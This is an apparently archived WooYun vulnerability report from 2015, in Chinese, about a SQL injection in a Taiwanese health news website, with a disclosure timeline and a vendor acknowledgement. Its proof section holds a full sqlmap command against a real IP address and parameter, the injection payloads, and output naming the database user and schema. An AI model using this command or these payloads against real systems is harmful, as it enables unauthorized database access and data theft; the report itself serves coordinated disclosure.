当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0104743

漏洞标题:台灣某醫療健康网SQL注入

相关厂商:台灣某醫療健康网

漏洞作者: 路人甲

提交时间:2015-03-31 18:06

修复时间:2015-05-18 02:10

公开时间:2015-05-18 02:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:18

漏洞状态:已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-31: 细节已通知厂商并且等待厂商处理中
2015-04-03: 厂商已经确认,细节仅向厂商公开
2015-04-13: 细节向核心白帽子及相关领域专家公开
2015-04-23: 细节向普通白帽子公开
2015-05-03: 细节向实习白帽子公开
2015-05-18: 细节向公众公开

简要描述:

RT

详细说明:

健康醫療網是以健康新聞、治療新知為主的全方位健康媒體平台,致力於提供最專業、最即時、最樂活的多元化資訊。

「健康部落格」邀請專業人士論述健康資訊,分享更多更完善的保健知識與服務,成為民眾獲取健康知識的首選網站。
健康醫療網特別設立「公益專區」,希望透過網路社群平台,凝聚力量幫助弱勢族群,更期許藉由此媒體

QQ截图20150330140232.png


QQ截图20150330140243.png

發聲,讓愛心遠佈、善盡社會責任。

漏洞证明:

QQ截图20150330140306.png


[root@Hacker~]# Sqlmap sqlmap.py -u "http://103.17.11.133/ballot_a.php?q=78" --dbs --passwords --current-user --current-db --is-dba
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federa
[*] starting at 14:02:15
[14:02:15] [INFO] resuming back-end DBMS 'mysql'
[14:02:15] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: q
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: q=78' AND 3259=3259 AND 'zdWN'='zdWN
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: q=78' AND SLEEP(5) AND 'SLfV'='SLfV
---
[14:02:15] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.2.29, PHP 5.4.33
back-end DBMS: MySQL 5.0.11
[14:02:15] [INFO] fetching current user
[14:02:15] [INFO] resumed: healthne_portal@localhost
current user: 'healthne_portal@localhost'
[14:02:15] [INFO] fetching current database
[14:02:15] [INFO] resumed: healthne_vhost52412
current database: 'healthne_vhost52412'
[14:02:15] [INFO] testing if current user is DBA
[14:02:15] [INFO] fetching current user
current user is DBA: False
[14:02:15] [INFO] fetching database users password hashes
[14:02:15] [INFO] fetching database users
[14:02:15] [INFO] fetching number of database users
[14:02:15] [INFO] resumed: 1
[14:02:15] [INFO] resumed: 'healthne_portal'@'localhost'
[14:02:15] [INFO] fetching number of password hashes for user 'healthne_portal'
[14:02:15] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[14:02:15] [INFO] retrieved:
[14:02:16] [WARNING] time-based comparison needs larger statistical model. Making a few dummy requests, please wait..
[14:02:19] [WARNING] it is very important not to stress the network adapter's bandwidth during usage of time-based payloads
[14:02:20] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[14:02:20] [WARNING] unable to retrieve the number of password hashes for user 'healthne_portal'
[14:02:20] [ERROR] unable to retrieve the password hashes for the database users (most probably because the session user has no read privileges over the relevant system database table
[14:02:20] [INFO] fetching database names
[14:02:20] [INFO] fetching number of databases
[14:02:20] [INFO] resumed: 2
[14:02:20] [INFO] resumed: information_schema
[14:02:20] [INFO] resumed: healthne_vhost52412
available databases [2]:
[*] healthne_vhost52412
[*] information_schema
[14:02:20] [INFO] fetched data logged to text files under 'E:\INJECT~1\SQLMAP~1.4\Bin\output\103.17.11.133'

修复方案:

null

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-04-03 02:08

厂商回复:

感謝通報

最新状态:

暂无